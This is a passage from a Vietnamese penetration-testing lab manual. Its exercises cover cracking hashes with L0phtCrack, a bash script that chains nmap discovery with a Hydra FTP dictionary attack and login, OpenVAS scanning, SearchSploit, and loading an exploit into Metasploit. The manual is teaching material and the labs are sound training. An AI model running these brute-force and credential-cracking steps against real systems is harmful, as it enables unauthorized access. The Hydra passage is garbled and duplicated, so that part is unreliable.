- Một hộp cảnh báo xuất hiện liên quan đến thay đổi LC7Agent trên máy từ xa như được hiển thị trong ảnh chụp màn hình. Nhấp vào Yes.
(Ảnh chụp màn hình hiển thị hộp cảnh báo LC7Agent)
- L0phtCrack sẽ bắt đầu giải mã băm. Bạn có thể thấy thanh Tiến trình ở góc dưới bên phải của cửa sổ. Sau khi hoàn tất kiểm tra mật khẩu, nó hiển thị các mật khẩu yếu được đặt cho các tài khoản người dùng tương ứng có trong máy Bộ phận Quảng cáo như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị cửa sổ L0phtCrack với thanh Tiến trình và các mật khẩu bị bẻ khóa)
- Nhấp vào tab Reports trên ngăn bên trái và nhấp vào Export Accounts Table trong hộp Report Types. Chọn HTML (Hypertext Markup Language) trong hộp Format: và cung cấp tên cho tệp và nhấp vào Run Report Immediately.
Sau khi nhấp vào nút Run Report Immediately, một cửa sổ bật lên Cảnh báo xuất hiện. Nhấp vào Yes.
(Ảnh chụp màn hình hiển thị tab Reports của L0phtCrack với tùy chọn Export Accounts Table được chọn)
- Để lưu phiên này, hãy điều hướng đến biểu tượng MENU ở góc trên cùng bên trái của cửa sổ và nhấp vào tùy chọn Save Session.
(Ảnh chụp màn hình hiển thị menu L0phtCrack với tùy chọn Save Session được tô sáng)
- Cửa sổ Save Session As xuất hiện trên màn hình. Chọn vị trí đích (ở đây là Desktop), chỉ định tên tệp là Credentials và nhấp vào Save. Bây giờ đóng cửa sổ L0phtCrack.
(Ảnh chụp màn hình hiển thị cửa sổ Save Session As của L0phtCrack)
- Để mở kết quả đã lưu, hãy điều hướng đến Desktop và nhấp đúp vào tệp Credentials.lcs để xem kết quả.
(Ảnh chụp màn hình hiển thị màn hình nền với tệp Credentials.lcs được tô sáng)
- Cửa sổ bật lên nhắc nhở L0phtCrack 7 – Trial xuất hiện, nhấp vào nút Proceed With Trial.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên nhắc nhở L0phtCrack 7 – Trial)
- Bây giờ bạn có thể thấy kết quả đã lưu trong cửa sổ L0phtCrack.
(Ảnh chụp màn hình hiển thị cửa sổ L0phtCrack với kết quả đã lưu)
- Đóng tất cả các cửa sổ đang mở.
Trong bài thực hành này, bạn đã học được cách trích xuất mật khẩu Quản trị viên bằng L0phtCrack.
Bài tập 15: Tự động hóa các tác vụ kiểm tra thâm nhập bằng Bash Scripting
Kịch bản
Bash là một bộ xử lý lệnh thường chạy trong một cửa sổ văn bản, nơi người dùng nhập các lệnh gây ra hành động. Bash cũng có thể đọc các lệnh từ một tệp, được gọi là tập lệnh. Giống như tất cả các shell Unix, nó hỗ trợ globbing tên tệp (khớp ký tự đại diện), đường ống, tài liệu ở đây, thay thế lệnh, biến và cấu trúc điều khiển để kiểm tra điều kiện và lặp lại. Các từ khóa, cú pháp và các tính năng cơ bản khác của ngôn ngữ đều được sao chép từ sh.
Bash Scripting hỗ trợ người kiểm tra thâm nhập trong quá trình kiểm tra thâm nhập vì họ có thể thực hiện nhiều tác vụ như chạy các lệnh Nmap, chạy các lệnh FTP, v.v. cùng một lúc, do đó tránh được việc phải chạy từng lệnh riêng lẻ.
Thời lượng thực hành: 30 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot) - Theo mặc định, pentester được chọn là người dùng. Gõ toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu đã nhập) - Điều hướng đến Places và nhấp vào Home Folder. Cửa sổ thư mục Home Folder xuất hiện, nhấp đúp vào tệp pentest.sh để mở và xem tập lệnh bash.
(Ảnh chụp màn hình hiển thị thư mục Home với tệp pentest.sh được tô sáng)
- Tập lệnh bash này được sử dụng để thực hiện:
a. Trinh sát tự động trên một phạm vi mạng được chỉ định cho các máy đang hoạt động với cổng FTP đang mở
b. Tấn công từ điển trên Địa chỉ IP đã chọn và hiển thị thông tin đăng nhập người dùng
c. Đăng nhập vào máy chủ FTP bằng thông tin đăng nhập đã đạt được
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh được mở trong trình soạn thảo văn bản)
- Dòng đầu tiên của tập lệnh bash là #!/bin/bash, nghĩa là tập lệnh phải luôn được chạy bằng bash, thay vì một shell khác.
- Lệnh tput clear trong dòng thứ hai xóa màn hình và đặt bạn ở đầu màn hình terminal.
- Lệnh echo được sử dụng để hiển thị một dòng văn bản/chuỗi trên đầu ra chuẩn hoặc một tệp. Vì vậy, bất cứ thứ gì bạn nhập giữa dấu ngoặc kép sẽ được in trên màn hình. Trong bài thực hành này, chúng tôi đang thực hiện quét Nmap để xác định máy chủ đang hoạt động và cổng FTP đang mở. Vì vậy, bạn có thể quan sát văn bản được viết trong lệnh echo như được hiển thị trong ảnh chụp màn hình:
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh echo được tô sáng) - Thu nhỏ cửa sổ tệp pentest.sh. Bây giờ, chúng ta hãy chạy tập lệnh bash. Khởi chạy dòng lệnh terminal, nhập bash pentest.sh và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh và đầu ra của nó)
- Thu nhỏ terminal dòng lệnh và phóng to cửa sổ Leafpad. Lệnh read cho phép bạn đọc một dòng từ đầu vào chuẩn. Nó chấp nhận đầu vào từ bàn phím và gán nó cho một biến. Trong bài thực hành này, chúng tôi đang sử dụng lệnh read để nhập phạm vi Địa chỉ IP mà chúng tôi sẽ thực hiện quét Nmap để phát hiện máy chủ đang hoạt động. Trong bài thực hành này, biến được sử dụng để định địa chỉ phạm vi Địa chỉ IP là ip_range.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh read được tô sáng)
- Thu nhỏ cửa sổ Leafpad và phóng to terminal dòng lệnh. Như được mô tả trong các bước trước đó, màn hình được xóa và con trỏ chuột được trỏ ở đầu màn hình terminal, theo sau là lệnh echo. Nhập 172.19.19.7-50 và nhấn Enter. Chúng tôi đã chọn phạm vi IP từ 7-50 để dễ dàng xử lý và tiết kiệm thời gian.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh với phạm vi IP đã nhập)
- Thu nhỏ terminal dòng lệnh và phóng to cửa sổ trình soạn thảo văn bản. nmap -sP $ip_range -oG out.txt: -sP được sử dụng để xác định các máy chủ đang hoạt động trong phạm vi Địa chỉ IP đã nhập. $ip_range lấy giá trị (phạm vi Địa chỉ IP) bạn đã nhập trong lệnh read. -oG đại diện cho đầu ra có thể grep. Nó là một định dạng đơn giản liệt kê mỗi máy chủ trên một dòng và có thể dễ dàng tìm kiếm và phân tích cú pháp bằng các công cụ Unix tiêu chuẩn như grep. Khi quét Nmap hoàn tất, đầu ra của nó được lưu vào tệp out.txt. Vì vậy, bằng cách nhập nmap -sP $ip_range -oG out.txt, nmap sẽ thực hiện phát hiện máy chủ đang hoạt động và gửi đầu ra có thể grep đến tệp out.txt. Bạn có thể xem tệp out.txt được tạo trong thư mục gốc để hiểu rõ hơn.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh nmap được tô sáng)
- Lệnh cat (viết tắt của “concatenate”) cho phép bạn xem nội dung của một/nhiều tệp, tạo tệp, nối các tệp và chuyển hướng đầu ra đến terminal hoặc tệp. Đường ống | chuyển hướng đầu ra của cat out.txt đến lệnh grep. Lệnh grep được sử dụng để tìm kiếm tệp đã cho (out.txt) cho các dòng chứa một kết quả khớp với chuỗi đã cho (Up). Vì vậy, bằng cách nhập tập lệnh cat out.txt | grep Up > out1.txt: Một tìm kiếm được thực hiện trong tệp out.txt cho tất cả các dòng chứa trạng thái của Địa chỉ IP là Up và các Địa chỉ IP này được lưu vào out1.txt. Bạn có thể xem tệp out1.txt được tạo trong thư mục gốc để hiểu rõ hơn.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh cat được tô sáng)
- Lệnh cut được sử dụng để chọn một phần văn bản từ mỗi dòng của tệp. Bạn có thể sử dụng lệnh cut để chọn các trường hoặc cột từ một dòng bằng cách chỉ định dấu phân cách. Bằng cách nhập tập lệnh cat out1.txt | cut -d ” ” -f2 > open.txt: Nội dung của out1.txt được chuyển hướng đến lệnh cut, trong đó dấu phân cách là ” ” (khoảng trắng). Vì vậy, trường 2 sẽ được chọn từ mỗi dòng của out1.txt giữa các khoảng trắng; và đầu ra sẽ được lưu vào tệp open.txt. Để hiểu rõ hơn, bạn có thể xem tệp open.txt được tạo trong thư mục gốc.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh cut được tô sáng)
- Bằng cách nhập tập lệnh nmap -p 21 cat open.txt -oG final.txt: Nmap thực hiện quét trên các địa chỉ IP có trong tệp open.txt và lưu đầu ra có thể grep vào tệp final.txt. Bạn có thể xem tệp final.txt được tạo trong thư mục gốc để hiểu rõ hơn.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh nmap thứ hai được tô sáng)
- Cho đến nay, Nmap đã thực hiện xác định máy chủ đang hoạt động và cổng FTP đang mở. Tập lệnh cat final.txt | grep open > ftp.txt được sử dụng để xem đầu ra được lưu trữ trong final.txt, tìm các dòng chứa chuỗi “open” và lưu các dòng đó vào tệp có tên ftp.txt. Bạn có thể xem tệp ftp.txt được tạo trong thư mục gốc để hiểu rõ hơn.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh cat thứ hai được tô sáng)
- Cho đến nay, chúng tôi đã có được các máy đang hoạt động và có cổng FTP đang mở. Bây giờ, chúng tôi sẽ hiển thị Địa chỉ IP của các máy này trên màn hình. echo “” đại diện cho một dòng trống. Trong dòng tiếp theo, chúng tôi đang viết một cái gì đó nói rằng quét đã được thực hiện. Điều này sẽ được trả về trên màn hình vì chúng tôi đang sử dụng lệnh echo.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh echo thứ hai được tô sáng)
- Lưu ý rằng mục đích của chúng tôi là chỉ xem Địa chỉ IP trong tệp ftp.txt. Để chỉ xem Địa chỉ IP, chúng tôi sẽ sử dụng tập lệnh cat ftp.txt | cut -d ” ” -f2. Ở đây, trường 2 sẽ được chọn từ mỗi dòng của tệp ftp.txt giữa các khoảng trắng; và đầu ra (tức là, chỉ Địa chỉ IP) sẽ được hiển thị trên màn hình.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh cut thứ hai được tô sáng)
- Bây giờ, thu nhỏ cửa sổ trình soạn thảo văn bản và phóng to terminal dòng lệnh. Nmap đã thực hiện xác định máy chủ đang hoạt động trên phạm vi Địa chỉ IP đã cho. Khi các máy chủ đang hoạt động được xác định, tập lệnh được viết theo cách sao cho quét nmap mới được khởi tạo để tìm các máy (trong số các máy chủ đang hoạt động đã xác định) có cổng FTP đang mở. Các máy đang hoạt động với cổng FTP đang mở được hiển thị như được hiển thị trong ảnh chụp màn hình.
Ảnh chụp màn hình có thể khác nhau khi thực hiện bài thực hành.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh bash pentest.sh với các máy chủ có cổng FTP đang mở)
- Thu nhỏ terminal dòng lệnh và phóng to cửa sổ trình soạn thảo văn bản. Cho đến nay, các tập lệnh đã giải thích ở trên được sử dụng để thực hiện xác định máy chủ đang hoạt động và cổng FTP. Bây giờ, chúng tôi sẽ sử dụng một máy có được từ quét Nmap; và thực hiện tấn công từ điển để bẻ khóa thông tin đăng nhập người dùng có mật khẩu được triển khai yếu. Trước đó, chúng tôi sẽ sử dụng lệnh echo để viết một số nội dung liên quan đến tấn công từ điển, để hiểu rõ hơn.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh echo thứ ba được tô sáng)
- Như đã thảo luận trước đó, liên quan đến lệnh read, chúng tôi sẽ sử dụng lệnh này để nhập Địa chỉ IP của máy mục tiêu. Trong bài thực hành này, biến được sử dụng để định địa chỉ phạm vi Địa chỉ IP là ip_addr.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh read thứ hai được tô sáng)
- Thu nhỏ cửa sổ trình soạn thảo văn bản và phóng to terminal dòng lệnh. Vì chúng tôi đã có được các máy có cổng FTP đang mở, chúng tôi sẽ nhập Địa chỉ IP của máy mà bạn muốn thực hiện tấn công từ điển để lấy thông tin đăng nhập FTP. Trong bài thực hành này, chúng tôi sẽ tấn công máy chủ FTP của Máy chủ FTP có Địa chỉ IP là 172.19.19.9. Vì vậy, nhập Địa chỉ IP 172.19.19.9 và nhấn Enter.
Điều này thực hiện tấn công Từ điển trên các tài khoản người dùng của máy bằng Hydra.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh với địa chỉ IP đã nhập cho tấn công từ điển)
- Thu nhỏ terminal dòng lệnh và phóng to cửa sổ trình soạn thảo văn bản. hydra -L/home/pentester/Wordlists/Usernames.txt -P /home/pentester/Wordlists/Passwords.txt ftp://
ipaddr:Chuˊngto^ise~sửdụnghydrađểthựchiệnta^ˊnco^ngtừđiểntre^nmaˊychủFTP.Co^ngta˘ˊc−Ltrongtậplệnhđạidiệnchodanhsaˊchte^nngườiduˋng.Danhsaˊchđượccungca^ˊptrongvịtrıˊ/home/pentester/Wordlists/Usernames.txt.Co^ngta˘ˊc−Ptrongtậplệnhđạidiệnchodanhsaˊchmậtkhẩu.Danhsaˊchđượccungca^ˊptrongvịtrıˊ/home/pentester/Wordlists/Passwords.txt.ftp://ipaddr:Chuˊngto^ise~sửdụnghydrađểthựchiệnta^ˊnco^ngtừđiểntre^nmaˊychủFTP.Co^ngta˘ˊc−Ltrongtậplệnhđạidiệnchodanhsaˊchte^nngườiduˋng.Danhsaˊchđượccungca^ˊptrongvịtrıˊ/home/pentester/Wordlists/Usernames.txt.Co^ngta˘ˊc−Ptrongtậplệnhđạidiệnchodanhsaˊchmậtkhẩu.Danhsaˊchđượccungca^ˊptrongvịtrıˊ/home/pentester/Wordlists/Passwords.txt.ftp://
ip_addr: Ở đây, $ip_addr lấy giá trị (phạm vi Địa chỉ IP) bạn đã nhập trong lệnh read. Vì vậy, tấn công từ điển sẽ được thực hiện trên địa chỉ IP bạn đã nhập trong bước trước đó, bằng cách sử dụng Hydra.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh hydra được tô sáng)
- Thu nhỏ cửa sổ trình soạn thảo văn bản và phóng to terminal dòng lệnh. Khi đưa ra Địa chỉ IP, Hydra bắt đầu thực hiện tấn công Từ điển trên máy và bắt đầu hiển thị thông tin đăng nhập người dùng như được hiển thị trong ảnh chụp màn hình.
Mất khoảng 3 phút để Hydra bẻ khóa tất cả thông tin đăng nhập.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh bash pentest.sh với thông tin đăng nhập người dùng được hiển thị bởi Hydra)
- Thu nhỏ terminal dòng lệnh và phóng to cửa sổ trình soạn thảo văn bản. Bây giờ, bạn sẽ có được thông tin đăng nhập người dùng để đăng nhập vào máy chủ FTP. Vì vậy, nhiệm vụ tiếp theo của bạn sẽ là đăng nhập vào máy chủ. Trước đó, chúng tôi sẽ sử dụng lệnh echo để viết một số nội dung liên quan đến máy chủ để đăng nhập vào máy chủ như được hiển thị trong ảnh chụp màn hình:
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh echo thứ tư được tô sáng)
- Bây giờ, chúng tôi sẽ sử dụng lệnh read để nhập Địa chỉ IP của máy mục tiêu. Trong bài thực hành này, biến được sử dụng để định địa chỉ phạm vi Địa chỉ IP là ftp_ip.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh read thứ ba được tô sáng)
- Thu nhỏ cửa sổ trình soạn thảo văn bản và phóng to terminal dòng lệnh. Khi thông tin đăng nhập thu được, bạn sẽ được yêu cầu nhập Địa chỉ IP của máy để đăng nhập vào máy chủ FTP. Nhập 172.19.19.9 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh với địa chỉ IP được nhập cho máy chủ FTP)
- Thu nhỏ terminal dòng lệnh và phóng to cửa sổ trình soạn thảo văn bản. Sau khi nhập Địa chỉ IP, lệnh ftp $ftp_ip được đưa ra để đăng nhập vào Địa chỉ IP của máy mục tiêu.
(Ảnh chụp màn hình hiển thị tập lệnh bash pentest.sh với lệnh ftp được tô sáng)
- Thu nhỏ cửa sổ Leafpad và phóng to terminal dòng lệnh. Bạn sẽ được yêu cầu nhập tên người dùng. Trong bài thực hành này, chúng tôi đang đăng nhập vào tài khoản của người dùng có tên jason. Vì vậy, hãy nhập jason và nhấn Enter.
Bạn có thể sử dụng bất kỳ tên người dùng nào của tài khoản trong trường Tên.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh với thông báo tên người dùng)
- Bạn sẽ được yêu cầu nhập mật khẩu cho tài khoản người dùng. Vì chúng tôi sẽ đăng nhập vào tài khoản người dùng của john, hãy nhập green (mật khẩu cho tài khoản người dùng của jason) và nhấn Enter.
Trường Mật khẩu vẫn trống khi bạn đang nhập mật khẩu.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh với thông báo mật khẩu)
- Khi đưa ra thông tin đăng nhập người dùng, bạn sẽ được đăng nhập vào Máy chủ FTP, như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh bash pentest.sh với phiên FTP đã thiết lập)
- Theo cách tương tự, bạn có thể chạy tập lệnh này để bẻ khóa thông tin đăng nhập người dùng và truy cập Máy chủ FTP nếu được lưu trữ trên các mạng khác. Đóng tất cả các cửa sổ đã mở.
Trong bài thực hành này, bạn đã thực hiện thành công quét mạng con, tìm thấy các máy có cổng FTP đang mở, thực hiện tấn công từ điển để lấy thông tin đăng nhập và đăng nhập thành công vào máy chủ bằng thông tin đăng nhập đã lấy được.
Bài tập 16: Phân tích lỗ hổng bằng OpenVAS
Kịch bản
Mặc dù có thể tranh luận về mức độ hiệu quả của một trình quét lỗ hổng đối với một người kiểm tra bảo mật chuyên nghiệp, nhưng đó là một công cụ quan trọng để giúp chúng tôi thu thập dữ liệu và xác định các lỗ hổng đã biết. Khi thực hiện kiểm tra thâm nhập, chúng tôi sử dụng trình quét lỗ hổng để cung cấp cho chúng tôi cái nhìn tổng quan nhanh về trạng thái của các máy mà chúng tôi đang xây dựng trong cơ sở dữ liệu mục tiêu của mình.
Mục tiêu của bài thực hành này là giúp sinh viên học cách:
• Thực hiện đánh giá lỗ hổng bằng công cụ OpenVAS
• Phân tích đầu ra của quét
• Thêm thông tin vào cơ sở dữ liệu mục tiêu
Thời gian thực hành: 25 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Điều hướng đến Applications -> Pentesting -> Vulnerability Analysis -> OpenVAS – Greenbone -> Start. Trong bài thực hành này, chúng tôi sẽ thực hiện đánh giá lỗ hổng trên 172.19.19.15 (máy Bộ phận Quảng cáo), đã được phát hiện trong quá trình quét ping trong bài tập trước đó.
(Ảnh chụp màn hình hiển thị menu Ứng dụng với đường dẫn đến OpenVAS được tô sáng)
- Bạn sẽ được yêu cầu nhập mật khẩu. Nhập toor.
(Ảnh chụp màn hình hiển thị lời nhắc mật khẩu cho OpenVAS)
- Đợi cho đến khi tất cả các dịch vụ được khởi động. Thu nhỏ cửa sổ terminal lệnh.
Mất một khoảng thời gian để OpenVas Scanner khởi động. Bỏ qua bất kỳ lỗi nào được trả về bởi OpenVAS Security Manager.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh gvm-start)
- Khởi chạy trình duyệt web Firefox và duyệt URL https://127.0.0.1:9392. Trang đăng nhập GUI web OpenVAS xuất hiện; nhập thông tin đăng nhập sau và nhấp vào Login:
Tên người dùng: admin
Mật khẩu: password
(Ảnh chụp màn hình hiển thị trang đăng nhập OpenVAS)
- Bảng điều khiển OpenVAS xuất hiện như được hiển thị trong ảnh chụp màn hình. Bỏ qua cửa sổ bật lên ghi nhớ mật khẩu.
(Ảnh chụp màn hình hiển thị bảng điều khiển OpenVAS)
- Nhấp vào Cấu hình.
(Ảnh chụp màn hình hiển thị bảng điều khiển OpenVAS với tùy chọn Cấu hình được tô sáng)
- Nhấp vào biểu tượng Tệp ở góc trên cùng bên trái của trang web để thêm mục tiêu mới.
(Ảnh chụp màn hình hiển thị bảng điều khiển OpenVAS với biểu tượng Tệp được tô sáng)
- Cửa sổ Mục tiêu Mới xuất hiện; nhập tên mục tiêu (Bộ phận Quảng cáo trong bài thực hành này) vào trường văn bản Tên, chọn nút radio Thủ công trong phần máy chủ và nhập địa chỉ IP của máy mục tiêu vào trường văn bản bên cạnh nút radio Thủ công. Địa chỉ IP của Bộ phận Quảng cáo là 172.19.19.15. Chọn tùy chọn Tất cả IANA được gán TCP 2012-02-10 từ danh sách thả xuống Danh sách Cổng. Giữ nguyên các tùy chọn khác theo mặc định và nhấp vào Save.
(Ảnh chụp màn hình hiển thị cửa sổ Mục tiêu Mới trong OpenVAS)
- Khi bạn nhấp vào nút Lưu, OpenVas sẽ thêm mục tiêu và hiển thị Chi tiết Mục tiêu như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị chi tiết mục tiêu trong OpenVAS)
- Di chuột qua Quét và nhấp vào Tác vụ để thêm tác vụ mới.
(Ảnh chụp màn hình hiển thị menu Quét trong OpenVAS với tùy chọn Tác vụ được tô sáng)
- Trình hướng dẫn Tác vụ xuất hiện; vì chúng tôi chưa thêm bất kỳ tác vụ nào vào OpenVas, nên nó sẽ trống. Bây giờ, chúng ta cần tạo một tác vụ mới. Để làm điều này, di chuột qua Tác vụ (Tệp có biểu tượng hình ngôi sao) ở góc trên cùng bên trái của trình duyệt và nhấp vào Tác vụ Mới trong menu ngữ cảnh.
(Ảnh chụp màn hình hiển thị trình hướng dẫn Tác vụ trong OpenVAS)
- Cửa sổ Tác vụ Mới xuất hiện; nhập tên của tác vụ (ở đây là Bộ phận Quảng cáo), chọn Bộ phận Quảng cáo từ danh sách thả xuống Mục tiêu Quét và chọn Quét đầy đủ và nhanh từ danh sách thả xuống Cấu hình Quét. Đặt giá trị của NVT được thực thi đồng thời tối đa trên mỗi máy chủ thành 4. Giữ nguyên các tùy chọn khác theo mặc định và cuộn xuống để nhấp vào Lưu. Điều này tạo ra một tác vụ sẽ được thực hiện trong các bước tiếp theo.
(Ảnh chụp màn hình hiển thị cửa sổ Tác vụ Mới trong OpenVAS)
- Tác vụ có tên Bộ phận Quảng cáo đã được thêm thành công vào OpenVAS như được hiển thị trong ảnh chụp màn hình. Bắt đầu quét lỗ hổng bằng cách nhấp vào biểu tượng Bắt đầu (Phát) trong Chi tiết Tác vụ.
(Ảnh chụp màn hình hiển thị chi tiết tác vụ trong OpenVAS với biểu tượng Bắt đầu được tô sáng)
- Quét lỗ hổng đã được bắt đầu thành công. Đợi cho đến khi quét hoàn tất. Mất khoảng 5 đến 10 phút để hoàn thành quét.
(Ảnh chụp màn hình hiển thị quá trình quét lỗ hổng đang diễn ra trong OpenVAS)
- Sau khi hoàn thành quét, trạng thái của quét chuyển thành Done như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị trạng thái quét là Done trong OpenVAS)
- Nhấp vào liên kết ngày trong phần Báo cáo Cuối cùng trong Chi tiết Tác vụ. Ngày (4 tháng 10 năm 2020) hiển thị trong bài thực hành này sẽ khác nhau tùy theo môi trường thực hành của bạn.
(Ảnh chụp màn hình hiển thị chi tiết tác vụ trong OpenVAS với liên kết ngày được tô sáng)
- Cửa sổ Báo cáo xuất hiện như được hiển thị trong ảnh chụp màn hình, nhấp vào tab Kết quả để xem thông tin lỗ hổng.
(Ảnh chụp màn hình hiển thị cửa sổ Báo cáo trong OpenVAS với tab Kết quả được tô sáng)
- Cửa sổ Kết quả xuất hiện như được hiển thị trong ảnh chụp màn hình, trong đó OpenVas sẽ hiển thị tất cả danh sách Lỗ hổng và Mức độ nghiêm trọng của chúng.
(Ảnh chụp màn hình hiển thị kết quả quét lỗ hổng trong OpenVAS)
- Nhấp vào nút Tải xuống ở trên cùng của trang để tải xuống báo cáo.
(Ảnh chụp màn hình hiển thị cửa sổ Kết quả trong OpenVAS với nút Tải xuống được tô sáng)
- Cửa sổ bật lên Compose Content for Scan Report xuất hiện, chọn PDF từ danh sách thả xuống Định dạng Báo cáo và nhấp vào OK.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Compose Content for Scan Report)
- Cửa sổ bật lên Mở báo cáo xuất hiện, chọn nút radio Mở bằng, chọn Atril Document Viewer từ menu thả xuống và nhấp vào OK.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Mở báo cáo)
- Báo cáo xuất hiện trong trình xem tài liệu. Cuộn xuống báo cáo và kiểm tra tất cả các lỗ hổng được phát hiện trong quá trình quét.
(Ảnh chụp màn hình hiển thị báo cáo lỗ hổng trong Atril Document Viewer)
- Sau khi kiểm tra báo cáo lỗ hổng, đăng xuất và đóng trình duyệt web và tất cả các cửa sổ đã mở.
Bài tập 17: Tìm kiếm khai thác bằng Searchsploit
Kịch bản
Mục tiêu của bài thực hành này là giúp học viên sử dụng SearchSploit để tìm kiếm khai thác. Trong bài thực hành này, bạn sẽ:
• Khởi động SearchSploit
• Tìm kiếm khai thác
Thời gian thực hành: 5 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Mở cửa sổ terminal, nhập searchsploit và nhấn Enter. Điều này sẽ xuất ra các tùy chọn cho lệnh.
(Ảnh chụp màn hình hiển thị lệnh searchsploit và đầu ra của nó)
- Bạn có thể tìm kiếm tối đa ba thuật ngữ. Trong cửa sổ terminal, nhập searchsploit wu-ftp remote và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh searchsploit wu-ftp remote và đầu ra của nó)
- Điều này sẽ tìm kiếm từ xa một khai thác FTP của Đại học Washington. Mặc dù hiếm khi chúng ta gặp phiên bản FTP này, nhưng nó có thể xảy ra; quan trọng là quá trình này là chìa khóa, vì nó không thay đổi đối với bất kỳ tìm kiếm bổ sung nào.
- Tìm kiếm mã hoặc phiên bản tập lệnh mà bạn cảm thấy thoải mái và tiếp tục.
- Tiếp theo, khám phá mã nguồn, biên dịch và xây dựng mã và kiểm tra xem bạn có thể khai thác lỗ hổng đã phát hiện hay không. Hãy nhớ rằng khai thác 100% là không thể, vì vậy không có gì đảm bảo. Bạn cũng sẽ tìm kiếm từ trong khuôn khổ khai thác của Metasploit trong bài tập sau.
- Tiếp theo, nhập một tìm kiếm khác; nhập searchsploit openssl remote.
(Ảnh chụp màn hình hiển thị lệnh searchsploit openssl remote và đầu ra của nó)
- Tiếp theo, khám phá các phiên bản và kiểm tra xem có khai thác nào khớp với phiên bản đã phát hiện hay không.
- Đây là lý do tại sao cơ sở dữ liệu mục tiêu lại quan trọng. Hãy dành thời gian của bạn để hoàn thành bước trinh sát và khám phá dữ liệu tương ứng. Việc xem xét kỹ lưỡng hơn sẽ làm tăng độ chính xác và do đó, giúp dễ dàng khai thác mục tiêu hơn.
- Tiếp theo, tìm kiếm lỗ hổng distccd được phát hiện trong tìm kiếm OpenVAS.
(Ảnh chụp màn hình hiển thị thông tin về lỗ hổng DistCC Remote Code Execution trong OpenVAS)
- Đây là một lỗ hổng cũ, nhưng bản thân quá trình này là chìa khóa. Lệnh được sử dụng để chạy phần mềm cũng cho phép truy cập vào daemon với tùy chọn –allow.
- Một ví dụ về kết quả SearchSploit được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh searchsploit distcc remote và đầu ra của nó)
- Như khai thác hiển thị, mã được viết bằng Ruby và nó là một mô-đun Metasploit. Tiếp theo, hãy sử dụng Metasploit để sử dụng khai thác.
- Bài thực hành này kết thúc tại đây.
Bài tập 18: Thêm khai thác vào Metasploit
Kịch bản
Trong bài thực hành này, bạn sẽ:
• Lấy khai thác từ cơ sở dữ liệu khai thác và thêm nó vào Metasploit.
Thời gian thực hành: 5 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong máy Parrot, mở cửa sổ terminal.
- Đôi khi, một khai thác mới sẽ được thêm vào cơ sở dữ liệu khai thác, hoặc bạn thậm chí có thể muốn xây dựng và tùy chỉnh một khai thác theo ý mình. Bạn sẽ làm việc thông qua quá trình này.
- Một khai thác Ruby được tải xuống trong thư mục Tải xuống trong máy Parrot. Làm việc với tệp tập lệnh 43519; đây là khai thác phpCollab 2.5.1 – Tải lên tệp không được xác thực có số CVE là CVE-2017-6090, được xuất bản ngày 1-11-2018.
- Mở cửa sổ terminal, nhập sudo pluma /home/pentester/Downloads/43519.rb, và nhấn Enter. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor.
(Ảnh chụp màn hình hiển thị lệnh sudo pluma /home/pentester/Downloads/43519.rb và đầu ra của nó)
- Lệnh này sẽ mở tệp trong cửa sổ trình soạn thảo văn bản gedit.
- Tệp 43519.rb mở trong cửa sổ trình soạn thảo văn bản.
(Ảnh chụp màn hình hiển thị tệp 43519.rb được mở trong Pluma)
